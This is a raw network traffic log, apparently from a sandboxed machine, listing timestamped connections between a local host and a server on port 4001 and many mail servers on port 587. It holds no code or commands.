May 19, 2024 17:28:01.463452101 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.463507891 CEST	587	50116	64.59.136.142	192.168.2.4
May 19, 2024 17:28:01.463597059 CEST	465	50141	35.182.240.32	192.168.2.4
May 19, 2024 17:28:01.463625908 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.463654995 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.463686943 CEST	587	50035	207.211.30.141	192.168.2.4
May 19, 2024 17:28:01.463718891 CEST	587	50066	162.241.203.50	192.168.2.4
May 19, 2024 17:28:01.463778973 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.463855028 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.468606949 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.473737001 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.505672932 CEST	50035	587	192.168.2.4	207.211.30.141
May 19, 2024 17:28:01.506264925 CEST	50066	587	192.168.2.4	162.241.203.50
May 19, 2024 17:28:01.511113882 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.511198997 CEST	587	50013	41.193.157.227	192.168.2.4
May 19, 2024 17:28:01.511333942 CEST	50127	587	192.168.2.4	74.125.133.16
May 19, 2024 17:28:01.511416912 CEST	50070	587	192.168.2.4	194.152.32.10
May 19, 2024 17:28:01.511461020 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.511461973 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.516207933 CEST	587	49863	46.182.21.2	192.168.2.4
May 19, 2024 17:28:01.516499043 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.516789913 CEST	587	50084	168.0.132.203	192.168.2.4
May 19, 2024 17:28:01.516887903 CEST	50162	587	192.168.2.4	40.99.150.18
May 19, 2024 17:28:01.517000914 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.517000914 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.521481037 CEST	587	50084	168.0.132.203	192.168.2.4
May 19, 2024 17:28:01.521567106 CEST	50084	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:01.521816015 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.526190996 CEST	587	50127	74.125.133.16	192.168.2.4
May 19, 2024 17:28:01.526226044 CEST	587	50070	194.152.32.10	192.168.2.4
May 19, 2024 17:28:01.526308060 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.526343107 CEST	587	50162	40.99.150.18	192.168.2.4
May 19, 2024 17:28:01.526427984 CEST	50162	587	192.168.2.4	40.99.150.18
May 19, 2024 17:28:01.526506901 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.531421900 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.536770105 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.552547932 CEST	50013	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:01.557962894 CEST	587	50042	168.0.132.203	192.168.2.4
May 19, 2024 17:28:01.558268070 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.563936949 CEST	587	50048	194.153.145.104	192.168.2.4
May 19, 2024 17:28:01.564042091 CEST	50048	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:01.564148903 CEST	50048	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:01.564150095 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.568073988 CEST	49863	587	192.168.2.4	46.182.21.2
May 19, 2024 17:28:01.568737984 CEST	587	50031	46.255.231.19	192.168.2.4
May 19, 2024 17:28:01.568788052 CEST	587	50046	194.153.145.104	192.168.2.4
May 19, 2024 17:28:01.568819046 CEST	587	50049	194.153.145.104	192.168.2.4
May 19, 2024 17:28:01.568833113 CEST	587	50053	40.85.218.2	192.168.2.4
May 19, 2024 17:28:01.568861008 CEST	587	50052	194.153.145.104	192.168.2.4
May 19, 2024 17:28:01.568873882 CEST	587	50044	194.153.145.104	192.168.2.4
May 19, 2024 17:28:01.568942070 CEST	50046	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:01.568964005 CEST	50049	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:01.568970919 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.568994045 CEST	50053	587	192.168.2.4	40.85.218.2
May 19, 2024 17:28:01.569025993 CEST	50052	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:01.569032907 CEST	50049	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:01.569025993 CEST	50044	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:01.569039106 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.569078922 CEST	50046	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:01.569150925 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.569154978 CEST	50053	587	192.168.2.4	40.85.218.2
May 19, 2024 17:28:01.569184065 CEST	50052	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:01.569231987 CEST	50044	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:01.569247961 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.569313049 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.569344044 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.573584080 CEST	587	50048	194.153.145.104	192.168.2.4
May 19, 2024 17:28:01.578747034 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.599322081 CEST	50042	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:01.604607105 CEST	587	50049	194.153.145.104	192.168.2.4
May 19, 2024 17:28:01.604648113 CEST	587	50046	194.153.145.104	192.168.2.4
May 19, 2024 17:28:01.604681015 CEST	587	50053	40.85.218.2	192.168.2.4
May 19, 2024 17:28:01.604712963 CEST	587	50052	194.153.145.104	192.168.2.4
May 19, 2024 17:28:01.604743004 CEST	587	50044	194.153.145.104	192.168.2.4
May 19, 2024 17:28:01.604805946 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.604835033 CEST	587	49944	150.214.204.12	192.168.2.4
May 19, 2024 17:28:01.604866028 CEST	587	50047	194.153.145.104	192.168.2.4
May 19, 2024 17:28:01.604897022 CEST	587	50043	194.153.145.104	192.168.2.4
May 19, 2024 17:28:01.604902029 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.604967117 CEST	50047	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:01.604981899 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.604990959 CEST	50043	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:01.605003119 CEST	50047	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:01.605010033 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.605061054 CEST	50043	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:01.605138063 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.610799074 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.613192081 CEST	49889	587	192.168.2.4	162.241.225.12
May 19, 2024 17:28:01.613306046 CEST	50064	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:01.613482952 CEST	50115	587	192.168.2.4	81.7.169.213
May 19, 2024 17:28:01.613641977 CEST	50036	587	192.168.2.4	81.2.195.204
May 19, 2024 17:28:01.613692999 CEST	49907	587	192.168.2.4	46.227.176.12
May 19, 2024 17:28:01.614039898 CEST	50163	587	192.168.2.4	142.93.237.125
May 19, 2024 17:28:01.614310980 CEST	50164	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:01.614931107 CEST	50031	587	192.168.2.4	46.255.231.19
May 19, 2024 17:28:01.615628958 CEST	50165	587	192.168.2.4	52.223.34.187
May 19, 2024 17:28:01.615641117 CEST	587	50047	194.153.145.104	192.168.2.4
May 19, 2024 17:28:01.620765924 CEST	587	50043	194.153.145.104	192.168.2.4
May 19, 2024 17:28:01.620868921 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.620903015 CEST	587	50057	194.170.95.221	192.168.2.4
May 19, 2024 17:28:01.620934963 CEST	587	50124	103.226.222.162	192.168.2.4
May 19, 2024 17:28:01.620965958 CEST	50057	587	192.168.2.4	194.170.95.221
May 19, 2024 17:28:01.621005058 CEST	50057	587	192.168.2.4	194.170.95.221
May 19, 2024 17:28:01.621052027 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.621131897 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.625452042 CEST	587	49889	162.241.225.12	192.168.2.4
May 19, 2024 17:28:01.625484943 CEST	587	50064	168.0.132.203	192.168.2.4
May 19, 2024 17:28:01.625514984 CEST	587	50115	81.7.169.213	192.168.2.4
May 19, 2024 17:28:01.625544071 CEST	587	50036	81.2.195.204	192.168.2.4
May 19, 2024 17:28:01.625574112 CEST	587	49907	46.227.176.12	192.168.2.4
May 19, 2024 17:28:01.625607014 CEST	587	50163	142.93.237.125	192.168.2.4
May 19, 2024 17:28:01.625638008 CEST	587	50164	194.153.145.104	192.168.2.4
May 19, 2024 17:28:01.625720024 CEST	50163	587	192.168.2.4	142.93.237.125
May 19, 2024 17:28:01.625756025 CEST	50164	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:01.625894070 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.625894070 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.630388021 CEST	587	50165	52.223.34.187	192.168.2.4
May 19, 2024 17:28:01.630439997 CEST	587	49932	194.19.134.66	192.168.2.4
May 19, 2024 17:28:01.630578041 CEST	50165	587	192.168.2.4	52.223.34.187
May 19, 2024 17:28:01.631381989 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.631901979 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.635103941 CEST	587	50057	194.170.95.221	192.168.2.4
May 19, 2024 17:28:01.635134935 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.640074968 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.646675110 CEST	49944	587	192.168.2.4	150.214.204.12
May 19, 2024 17:28:01.651201010 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.651468039 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.651546001 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.661798000 CEST	50124	587	192.168.2.4	103.226.222.162
May 19, 2024 17:28:01.677465916 CEST	49932	587	192.168.2.4	194.19.134.66
May 19, 2024 17:28:01.690079927 CEST	587	50062	213.205.32.10	192.168.2.4
May 19, 2024 17:28:01.692428112 CEST	50062	587	192.168.2.4	213.205.32.10
May 19, 2024 17:28:01.692464113 CEST	50062	587	192.168.2.4	213.205.32.10
May 19, 2024 17:28:01.692507982 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.694982052 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.700524092 CEST	587	50062	213.205.32.10	192.168.2.4
May 19, 2024 17:28:01.753711939 CEST	587	50127	74.125.133.16	192.168.2.4
May 19, 2024 17:28:01.753757000 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.753789902 CEST	587	50070	194.152.32.10	192.168.2.4
May 19, 2024 17:28:01.753874063 CEST	50070	587	192.168.2.4	194.152.32.10
May 19, 2024 17:28:01.781080961 CEST	587	49968	168.0.132.203	192.168.2.4
May 19, 2024 17:28:01.802288055 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.802510977 CEST	50127	587	192.168.2.4	74.125.133.16
May 19, 2024 17:28:01.809721947 CEST	587	50115	81.7.169.213	192.168.2.4
May 19, 2024 17:28:01.819269896 CEST	587	50036	81.2.195.204	192.168.2.4
May 19, 2024 17:28:01.833515882 CEST	49968	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:01.838634014 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:01.864761114 CEST	50115	587	192.168.2.4	81.7.169.213
May 19, 2024 17:28:01.864943981 CEST	50036	587	192.168.2.4	81.2.195.204
May 19, 2024 17:28:01.870121956 CEST	587	50064	168.0.132.203	192.168.2.4
May 19, 2024 17:28:01.870214939 CEST	587	50160	66.199.141.105	192.168.2.4
May 19, 2024 17:28:01.880403042 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:01.911644936 CEST	50064	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:01.911776066 CEST	50160	587	192.168.2.4	66.199.141.105
May 19, 2024 17:28:01.956818104 CEST	587	50071	104.22.65.144	192.168.2.4
May 19, 2024 17:28:01.957087994 CEST	50071	587	192.168.2.4	104.22.65.144
May 19, 2024 17:28:01.962055922 CEST	587	50069	194.153.145.104	192.168.2.4
May 19, 2024 17:28:01.962135077 CEST	50069	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:01.974482059 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:02.021039963 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:02.026281118 CEST	587	50064	168.0.132.203	192.168.2.4
May 19, 2024 17:28:02.056344032 CEST	587	50159	41.193.157.227	192.168.2.4
May 19, 2024 17:28:02.067902088 CEST	50064	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:02.068376064 CEST	587	50072	74.125.200.26	192.168.2.4
May 19, 2024 17:28:02.068456888 CEST	50072	587	192.168.2.4	74.125.200.26
May 19, 2024 17:28:02.099204063 CEST	50159	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:02.119445086 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:02.151484966 CEST	587	50162	40.99.150.18	192.168.2.4
May 19, 2024 17:28:02.161765099 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:02.173763990 CEST	587	50076	104.22.65.144	192.168.2.4
May 19, 2024 17:28:02.173959970 CEST	50076	587	192.168.2.4	104.22.65.144
May 19, 2024 17:28:02.179263115 CEST	587	49963	83.223.113.41	192.168.2.4
May 19, 2024 17:28:02.193006992 CEST	50162	587	192.168.2.4	40.99.150.18
May 19, 2024 17:28:02.198324919 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:02.224287033 CEST	49963	587	192.168.2.4	83.223.113.41
May 19, 2024 17:28:02.239797115 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:02.337722063 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:02.380430937 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:02.385819912 CEST	587	50078	74.125.200.26	192.168.2.4
May 19, 2024 17:28:02.386020899 CEST	50078	587	192.168.2.4	74.125.200.26
May 19, 2024 17:28:02.478701115 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:02.521138906 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:02.618876934 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:02.644788027 CEST	587	50158	209.202.254.90	192.168.2.4
May 19, 2024 17:28:02.644993067 CEST	50158	587	192.168.2.4	209.202.254.90
May 19, 2024 17:28:02.661776066 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:02.718373060 CEST	587	50156	193.201.172.98	192.168.2.4
May 19, 2024 17:28:02.718619108 CEST	50156	587	192.168.2.4	193.201.172.98
May 19, 2024 17:28:02.740015030 CEST	587	50081	194.153.145.104	192.168.2.4
May 19, 2024 17:28:02.740128040 CEST	50081	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:02.759561062 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:02.802402973 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:02.899846077 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:02.942923069 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:02.981164932 CEST	587	49951	84.116.6.22	192.168.2.4
May 19, 2024 17:28:02.986021996 CEST	587	49951	84.116.6.22	192.168.2.4
May 19, 2024 17:28:02.986211061 CEST	49951	587	192.168.2.4	84.116.6.22
May 19, 2024 17:28:03.040714979 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.083548069 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.181487083 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.224164963 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.291877985 CEST	50038	587	192.168.2.4	124.156.190.79
May 19, 2024 17:28:03.291960001 CEST	49974	587	192.168.2.4	194.181.93.175
May 19, 2024 17:28:03.292152882 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.292236090 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.292270899 CEST	49959	587	192.168.2.4	193.122.179.25
May 19, 2024 17:28:03.292278051 CEST	49951	587	192.168.2.4	84.116.6.22
May 19, 2024 17:28:03.292345047 CEST	50059	587	192.168.2.4	84.2.43.67
May 19, 2024 17:28:03.292378902 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.292418957 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.292506933 CEST	50120	587	192.168.2.4	66.133.129.50
May 19, 2024 17:28:03.292655945 CEST	49994	587	192.168.2.4	65.20.63.172
May 19, 2024 17:28:03.292692900 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.292716026 CEST	50089	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:03.292761087 CEST	50086	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:03.292795897 CEST	49832	587	192.168.2.4	64.59.136.142
May 19, 2024 17:28:03.292843103 CEST	49883	587	192.168.2.4	103.152.248.23
May 19, 2024 17:28:03.292886972 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.292932034 CEST	50069	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:03.292967081 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.292969942 CEST	49934	587	192.168.2.4	65.20.63.172
May 19, 2024 17:28:03.293059111 CEST	49961	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:03.293083906 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.293091059 CEST	50070	587	192.168.2.4	194.152.32.10
May 19, 2024 17:28:03.293204069 CEST	50071	587	192.168.2.4	104.22.65.144
May 19, 2024 17:28:03.293236017 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.293373108 CEST	49955	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:03.293420076 CEST	50072	587	192.168.2.4	74.125.200.26
May 19, 2024 17:28:03.293435097 CEST	49819	587	192.168.2.4	91.136.8.56
May 19, 2024 17:28:03.293462992 CEST	49793	587	192.168.2.4	52.63.237.70
May 19, 2024 17:28:03.293467045 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.293498993 CEST	50022	587	192.168.2.4	195.238.20.30
May 19, 2024 17:28:03.293498993 CEST	50097	587	192.168.2.4	64.91.253.60
May 19, 2024 17:28:03.293535948 CEST	50001	587	192.168.2.4	83.102.40.117
May 19, 2024 17:28:03.293559074 CEST	50026	587	192.168.2.4	129.159.94.43
May 19, 2024 17:28:03.293596983 CEST	50121	587	192.168.2.4	168.0.132.203
May 19, 2024 17:28:03.293637037 CEST	50076	587	192.168.2.4	104.22.65.144
May 19, 2024 17:28:03.293673038 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.293701887 CEST	50074	587	192.168.2.4	103.13.28.93
May 19, 2024 17:28:03.293802023 CEST	50078	587	192.168.2.4	74.125.200.26
May 19, 2024 17:28:03.293826103 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.293900013 CEST	50000	587	192.168.2.4	213.172.96.34
May 19, 2024 17:28:03.293940067 CEST	50081	587	192.168.2.4	194.153.145.104
May 19, 2024 17:28:03.293941975 CEST	50011	587	192.168.2.4	164.90.203.106
May 19, 2024 17:28:03.293973923 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.294389963 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.294411898 CEST	49901	587	192.168.2.4	103.224.30.254
May 19, 2024 17:28:03.294452906 CEST	49986	587	192.168.2.4	209.67.129.100
May 19, 2024 17:28:03.294497967 CEST	49854	587	192.168.2.4	175.135.252.193
May 19, 2024 17:28:03.294531107 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.294677019 CEST	50091	587	192.168.2.4	2.207.150.234
May 19, 2024 17:28:03.294884920 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.294903994 CEST	50080	587	192.168.2.4	212.85.98.214
May 19, 2024 17:28:03.294914007 CEST	50156	587	192.168.2.4	193.201.172.98
May 19, 2024 17:28:03.294958115 CEST	49998	587	192.168.2.4	182.248.170.226
May 19, 2024 17:28:03.294958115 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.295006037 CEST	50073	587	192.168.2.4	41.193.157.227
May 19, 2024 17:28:03.295072079 CEST	50158	587	192.168.2.4	209.202.254.90
May 19, 2024 17:28:03.295097113 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.295212984 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.295253992 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:28:03.295291901 CEST	49848	587	192.168.2.4	101.0.69.102
May 19, 2024 17:28:03.295351028 CEST	50119	587	192.168.2.4	177.11.54.185
May 19, 2024 17:28:03.295521021 CEST	50067	587	192.168.2.4	65.20.63.172
May 19, 2024 17:28:03.295576096 CEST	49989	587	192.168.2.4	40.99.157.50
May 19, 2024 17:28:03.295705080 CEST	50002	587	192.168.2.4	103.82.242.210
May 19, 2024 17:28:03.295742989 CEST	50033	587	192.168.2.4	129.159.125.229
May 19, 2024 17:28:03.295813084 CEST	49912	587	192.168.2.4	91.196.0.18
May 19, 2024 17:28:03.295886993 CEST	49933	587	192.168.2.4	64.91.253.60
May 19, 2024 17:28:03.295919895 CEST	49882	587	192.168.2.4	195.121.65.26
May 19, 2024 17:28:03.295928001 CEST	50132	587	192.168.2.4	212.159.8.240
May 19, 2024 17:28:03.295974970 CEST	50015	587	192.168.2.4	193.54.32.8
May 19, 2024 17:28:03.296011925 CEST	50056	587	192.168.2.4	87.248.97.31
May 19, 2024 17:28:03.296116114 CEST	50054	587	192.168.2.4	84.116.6.22
May 19, 2024 17:28:03.296238899 CEST	49942	587	192.168.2.4	217.74.65.52
May 19, 2024 17:28:03.296277046 CEST	49964	587	192.168.2.4	201.193.191.44
May 19, 2024 17:28:03.296538115 CEST	50082	587	192.168.2.4	52.62.236.135
May 19, 2024 17:28:03.296539068 CEST	50166	587	192.168.2.4	142.93.237.125
May 19, 2024 17:28:03.296578884 CEST	50023	587	192.168.2.4	62.149.128.202
May 19, 2024 17:28:03.296736002 CEST	49826	587	192.168.2.4	209.71.208.9
May 19, 2024 17:28:03.296796083 CEST	50063	587	192.168.2.4	38.111.141.32
May 19, 2024 17:28:03.296849966 CEST	49914	587	192.168.2.4	129.159.94.43
May 19, 2024 17:28:03.296936989 CEST	50037	587	192.168.2.4	193.122.179.25
May 19, 2024 17:28:03.297071934 CEST	50153	587	192.168.2.4	81.2.195.204
May 19, 2024 17:28:03.297091961 CEST	587	50038	124.156.190.79	192.168.2.4
May 19, 2024 17:28:03.297152042 CEST	49812	587	192.168.2.4	193.70.18.144
May 19, 2024 17:28:03.297152042 CEST	50167	587	192.168.2.4	117.50.20.113
May 19, 2024 17:28:03.297575951 CEST	50168	587	192.168.2.4	198.164.81.21
May 19, 2024 17:28:03.297960043 CEST	50169	587	192.168.2.4	120.50.131.112
May 19, 2024 17:28:03.298645020 CEST	50171	587	192.168.2.4	65.20.63.172
May 19, 2024 17:28:03.298746109 CEST	50170	587	192.168.2.4	84.116.6.22
May 19, 2024 17:28:03.299026966 CEST	587	49974	194.181.93.175	192.168.2.4
May 19, 2024 17:28:03.299032927 CEST	50172	587	192.168.2.4	193.201.172.98
May 19, 2024 17:28:03.299119949 CEST	587	49959	193.122.179.25	192.168.2.4
May 19, 2024 17:28:03.299153090 CEST	587	49951	84.116.6.22	192.168.2.4
May 19, 2024 17:28:03.299181938 CEST	587	50059	84.2.43.67	192.168.2.4
May 19, 2024 17:28:03.299212933 CEST	587	50120	66.133.129.50	192.168.2.4
May 19, 2024 17:28:03.299242020 CEST	587	49994	65.20.63.172	192.168.2.4
May 19, 2024 17:28:03.299272060 CEST	587	50089	41.193.157.227	192.168.2.4
May 19, 2024 17:28:03.299300909 CEST	587	50086	41.193.157.227	192.168.2.4
May 19, 2024 17:28:03.299329996 CEST	587	49832	64.59.136.142	192.168.2.4
May 19, 2024 17:28:03.299357891 CEST	587	49883	103.152.248.23	192.168.2.4
May 19, 2024 17:28:03.299386978 CEST	587	50069	194.153.145.104	192.168.2.4
May 19, 2024 17:28:03.299417973 CEST	587	49934	65.20.63.172	192.168.2.4
May 19, 2024 17:28:03.299447060 CEST	587	49961	41.193.157.227	192.168.2.4
May 19, 2024 17:28:03.299477100 CEST	587	50070	194.152.32.10	192.168.2.4
May 19, 2024 17:28:03.299505949 CEST	587	50071	104.22.65.144	192.168.2.4
May 19, 2024 17:28:03.299535036 CEST	587	49955	41.193.157.227	192.168.2.4
May 19, 2024 17:28:03.299563885 CEST	587	50072	74.125.200.26	192.168.2.4
May 19, 2024 17:28:03.299592972 CEST	587	49819	91.136.8.56	192.168.2.4
May 19, 2024 17:28:03.299622059 CEST	587	49793	52.63.237.70	192.168.2.4
May 19, 2024 17:28:03.299649954 CEST	587	50022	195.238.20.30	192.168.2.4
May 19, 2024 17:28:03.299679041 CEST	587	50097	64.91.253.60	192.168.2.4
May 19, 2024 17:28:03.300159931 CEST	50173	587	192.168.2.4	142.93.237.125
May 19, 2024 17:28:03.300774097 CEST	50174	587	192.168.2.4	194.152.32.10
May 19, 2024 17:28:03.300868988 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.300906897 CEST	587	50001	83.102.40.117	192.168.2.4
May 19, 2024 17:28:03.300936937 CEST	587	50026	129.159.94.43	192.168.2.4
May 19, 2024 17:28:03.300966024 CEST	587	50121	168.0.132.203	192.168.2.4
May 19, 2024 17:28:03.300995111 CEST	587	50076	104.22.65.144	192.168.2.4
May 19, 2024 17:28:03.301023960 CEST	587	50074	103.13.28.93	192.168.2.4
May 19, 2024 17:28:03.301053047 CEST	587	50078	74.125.200.26	192.168.2.4
May 19, 2024 17:28:03.301084042 CEST	587	50000	213.172.96.34	192.168.2.4
May 19, 2024 17:28:03.301115036 CEST	587	50081	194.153.145.104	192.168.2.4
May 19, 2024 17:28:03.301142931 CEST	587	50011	164.90.203.106	192.168.2.4
May 19, 2024 17:28:03.301171064 CEST	587	49901	103.224.30.254	192.168.2.4
May 19, 2024 17:28:03.301199913 CEST	587	49986	209.67.129.100	192.168.2.4
May 19, 2024 17:28:03.301228046 CEST	587	49854	175.135.252.193	192.168.2.4
May 19, 2024 17:28:03.301256895 CEST	587	50091	2.207.150.234	192.168.2.4
May 19, 2024 17:28:03.301314116 CEST	587	50080	212.85.98.214	192.168.2.4
May 19, 2024 17:28:03.301342010 CEST	587	50156	193.201.172.98	192.168.2.4
May 19, 2024 17:28:03.301371098 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:28:03.301399946 CEST	587	49998	182.248.170.226	192.168.2.4
May 19, 2024 17:28:03.301428080 CEST	587	50073	41.193.157.227	192.168.2.4
May 19, 2024 17:28:03.301429987 CEST	50176	587	192.168.2.4	84.116.6.22
May 19, 2024 17:28:03.301457882 CEST	587	50158	209.202.254.90	192.168.2.4
May 19, 2024 17:28:03.301744938 CEST	50177	587	192.168.2.4	64.59.136.142
May 19, 2024 17:28:03.302258015 CEST	587	49848	101.0.69.102	192.168.2.4
May 19, 2024 17:28:03.302294016 CEST	587	50119	177.11.54.185	192.168.2.4
May 19, 2024 17:28:03.302324057 CEST	587	50067	65.20.63.172	192.168.2.4
May 19, 2024 17:28:03.302352905 CEST	587	49989	40.99.157.50	192.168.2.4
May 19, 2024 17:28:03.302381039 CEST	587	50002	103.82.242.210	192.168.2.4
May 19, 2024 17:28:03.302409887 CEST	587	50033	129.159.125.229	192.168.2.4
May 19, 2024 17:28:03.302438974 CEST	587	49912	91.196.0.18	192.168.2.4
May 19, 2024 17:28:03.302467108 CEST	587	49933	64.91.253.60	192.168.2.4
May 19, 2024 17:28:03.302495003 CEST	587	49882	195.121.65.26	192.168.2.4
